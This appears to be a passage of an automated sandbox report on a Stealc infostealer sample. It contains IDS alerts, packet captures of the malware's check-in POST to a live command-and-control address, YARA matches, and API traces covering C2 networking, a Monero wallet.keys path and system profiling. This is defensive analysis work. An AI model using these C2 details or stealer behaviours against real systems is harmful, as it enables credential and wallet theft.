.taggant	0x69e000	0x3000	0x2200	77b3be650c20a3216c65621ec2130d2f	False	0.09708180147058823	DOS executable (COM)	1.1952884008350921	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-27T17:41:16.620266+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	49705	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2024 17:41:15.671010017 CEST	49705	80	192.168.2.7	185.215.113.37
Sep 27, 2024 17:41:15.675862074 CEST	80	49705	185.215.113.37	192.168.2.7
Sep 27, 2024 17:41:15.675949097 CEST	49705	80	192.168.2.7	185.215.113.37
Sep 27, 2024 17:41:15.676738977 CEST	49705	80	192.168.2.7	185.215.113.37
Sep 27, 2024 17:41:15.681847095 CEST	80	49705	185.215.113.37	192.168.2.7
Sep 27, 2024 17:41:16.380487919 CEST	80	49705	185.215.113.37	192.168.2.7
Sep 27, 2024 17:41:16.380553961 CEST	49705	80	192.168.2.7	185.215.113.37
Sep 27, 2024 17:41:16.385123014 CEST	49705	80	192.168.2.7	185.215.113.37
Sep 27, 2024 17:41:16.390222073 CEST	80	49705	185.215.113.37	192.168.2.7
Sep 27, 2024 17:41:16.620198011 CEST	80	49705	185.215.113.37	192.168.2.7
Sep 27, 2024 17:41:16.620265961 CEST	49705	80	192.168.2.7	185.215.113.37
Sep 27, 2024 17:41:20.289582968 CEST	49705	80	192.168.2.7	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49705	185.215.113.37	80	6952	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:41:15.676738977 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Sep 27, 2024 17:41:16.380487919 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:41:16 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 27, 2024 17:41:16.385123014 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFCFBKKKFHCFHJKFIIEH Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 43 46 42 4b 4b 4b 46 48 43 46 48 4a 4b 46 49 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 42 30 44 33 35 30 41 33 30 31 44 33 36 36 33 38 31 32 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 46 42 4b 4b 4b 46 48 43 46 48 4a 4b 46 49 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 46 42 4b 4b 4b 46 48 43 46 48 4a 4b 46 49 49 45 48 2d 2d 0d 0a Data Ascii: ------BFCFBKKKFHCFHJKFIIEHContent-Disposition: form-data; name="hwid"4B0D350A301D3663812181------BFCFBKKKFHCFHJKFIIEHContent-Disposition: form-data; name="build"save------BFCFBKKKFHCFHJKFIIEH--
Sep 27, 2024 17:41:16.620198011 CEST	210	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:41:16 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	11:41:11
Start date:	27/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xca0000
File size:	1'847'808 bytes
MD5 hash:	FE0680DFA4A95F3C9F5EFE7B68BEBDC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1367337890.00000000009BE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1326837199.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	9.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 00CB9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(77190000,009D1738), ref: 00CB98A1
GetProcAddress.KERNEL32(77190000,009D1768), ref: 00CB98BA
GetProcAddress.KERNEL32(77190000,009D1678), ref: 00CB98D2
GetProcAddress.KERNEL32(77190000,009D1618), ref: 00CB98EA
GetProcAddress.KERNEL32(77190000,009D1510), ref: 00CB9903
GetProcAddress.KERNEL32(77190000,009D8B48), ref: 00CB991B
GetProcAddress.KERNEL32(77190000,009C55E8), ref: 00CB9933
GetProcAddress.KERNEL32(77190000,009C5408), ref: 00CB994C
GetProcAddress.KERNEL32(77190000,009D16F0), ref: 00CB9964
GetProcAddress.KERNEL32(77190000,009D16D8), ref: 00CB997C
GetProcAddress.KERNEL32(77190000,009D15B8), ref: 00CB9995
GetProcAddress.KERNEL32(77190000,009D1690), ref: 00CB99AD
GetProcAddress.KERNEL32(77190000,009C5448), ref: 00CB99C5
GetProcAddress.KERNEL32(77190000,009D15A0), ref: 00CB99DE
GetProcAddress.KERNEL32(77190000,009D16A8), ref: 00CB99F6
GetProcAddress.KERNEL32(77190000,009C5568), ref: 00CB9A0E
GetProcAddress.KERNEL32(77190000,009D1750), ref: 00CB9A27
GetProcAddress.KERNEL32(77190000,009D1780), ref: 00CB9A3F
GetProcAddress.KERNEL32(77190000,009C55A8), ref: 00CB9A57
GetProcAddress.KERNEL32(77190000,009D15D0), ref: 00CB9A70
GetProcAddress.KERNEL32(77190000,009C5688), ref: 00CB9A88
LoadLibraryA.KERNEL32(009D15E8,?,00CB6A00), ref: 00CB9A9A
LoadLibraryA.KERNEL32(009D1540,?,00CB6A00), ref: 00CB9AAB
LoadLibraryA.KERNEL32(009D1558,?,00CB6A00), ref: 00CB9ABD
LoadLibraryA.KERNEL32(009D1570,?,00CB6A00), ref: 00CB9ACF
LoadLibraryA.KERNEL32(009D17B0,?,00CB6A00), ref: 00CB9AE0
GetProcAddress.KERNEL32(76850000,009D1798), ref: 00CB9B02
GetProcAddress.KERNEL32(77040000,009D1600), ref: 00CB9B23
GetProcAddress.KERNEL32(77040000,009D1630), ref: 00CB9B3B
GetProcAddress.KERNEL32(75A10000,009D9068), ref: 00CB9B5D
GetProcAddress.KERNEL32(75690000,009C5508), ref: 00CB9B7E
GetProcAddress.KERNEL32(776F0000,009D8B98), ref: 00CB9B9F
GetProcAddress.KERNEL32(776F0000,NtQueryInformationProcess), ref: 00CB9BB6

Strings

NtQueryInformationProcess, xrefs: 00CB9BAA

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 554d998e0f6e434cf98f705a9dc91df3fab8c3b9636cdb303ff029e9fe94f950
Instruction ID: e70c7daf81228ef985952e15bc709cf049de0610c50b8eb37611fef4ad6ff30c
Opcode Fuzzy Hash: 554d998e0f6e434cf98f705a9dc91df3fab8c3b9636cdb303ff029e9fe94f950
Instruction Fuzzy Hash: 8CA160B55002889FC358EFAAEDC89563BF9F74C30170D853EB605AB264E739B449CB16

Function 00CA45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00CA460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00CA479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CA4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CA46D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CA475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CA4765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CA473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CA4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CA466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CA4713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CA45C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CA45D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CA46CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CA4678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CA474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CA4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CA46B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CA4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CA46AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CA477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CA46C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CA471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CA4683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CA45DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CA4770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CA4657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CA45F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CA462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CA4734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CA45E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CA4662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CA4729

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: ea15ffbf8011afa6d3a7e4f1ce9673622df62570f1b5c55dfbea9db06bef973b
Instruction ID: e076dfe4d49963d078eb8a185b85037fc531e2d4df84415a07fe5082f072937e
Opcode Fuzzy Hash: ea15ffbf8011afa6d3a7e4f1ce9673622df62570f1b5c55dfbea9db06bef973b
Instruction Fuzzy Hash: 5E4115616C27047EEF68B7A4EC52F9DB762DF52708F5050EEFA0052280CFB87582C526

Function 00CA4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00CBA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00CBA7E6

Part of subcall function 00CA47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00CA4839
Part of subcall function 00CA47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00CA4849

Part of subcall function 00CBA740: lstrcpy.KERNEL32(00CC0E17,00000000), ref: 00CBA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00CA4915
StrCmpCA.SHLWAPI(?,009DF1A0), ref: 00CA493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00CA4ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00CC0DDB,00000000,?,?,00000000,?,",00000000,?,009DF2A0), ref: 00CA4DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00CA4E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00CA4E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00CA4E49
InternetCloseHandle.WININET(00000000), ref: 00CA4EAD
InternetCloseHandle.WININET(00000000), ref: 00CA4EC5
HttpOpenRequestA.WININET(00000000,009DF250,?,009DE910,00000000,00000000,00400100,00000000), ref: 00CA4B15

Part of subcall function 00CBA9B0: lstrlen.KERNEL32(?,009D89A8,?,\Monero\wallet.keys,00CC0E17), ref: 00CBA9C5
Part of subcall function 00CBA9B0: lstrcpy.KERNEL32(00000000), ref: 00CBAA04
Part of subcall function 00CBA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00CBAA12

Part of subcall function 00CBA8A0: lstrcpy.KERNEL32(?,00CC0E17), ref: 00CBA905

Part of subcall function 00CBA920: lstrcpy.KERNEL32(00000000,?), ref: 00CBA972
Part of subcall function 00CBA920: lstrcat.KERNEL32(00000000), ref: 00CBA982

InternetCloseHandle.WININET(00000000), ref: 00CA4ECF

Strings

", xrefs: 00CA4D33
------, xrefs: 00CA4C69
------, xrefs: 00CA49BD
------, xrefs: 00CA4B28
", xrefs: 00CA4BF2

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: ce813f867d5b39341a13f7d04860c77449a5635d408ff9b06d8e4eb9d5722e7b
Instruction ID: 7f57a25da6431477275263945b8b60b708af9d9ff31906a66085447d23eafda4
Opcode Fuzzy Hash: ce813f867d5b39341a13f7d04860c77449a5635d408ff9b06d8e4eb9d5722e7b
Instruction Fuzzy Hash: 2912FA72910218AADB15EB91DCA2FEEB338BF15300F5041A9F14676491EF712F49EF62

Function 00CB78E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00CB7910
RtlAllocateHeap.NTDLL(00000000), ref: 00CB7917
GetComputerNameA.KERNEL32(?,00000104), ref: 00CB792F

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 7c3af5c50fd144d61bed44cd373ec382e16ff415fdecbc4b377cd8473d183301
Instruction ID: 3cc703521b1983fda92d6749ec5063e595aefeaf123dbe4e138aacd7f787f2c5
Opcode Fuzzy Hash: 7c3af5c50fd144d61bed44cd373ec382e16ff415fdecbc4b377cd8473d183301
Instruction Fuzzy Hash: 1E0186B1D04248EFCB14DF95DD49BAABBB8F744B11F10426DF945E7280D7745A048BA1

Function 00CB7850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00CA11B7), ref: 00CB7880
RtlAllocateHeap.NTDLL(00000000), ref: 00CB7887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00CB789F

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
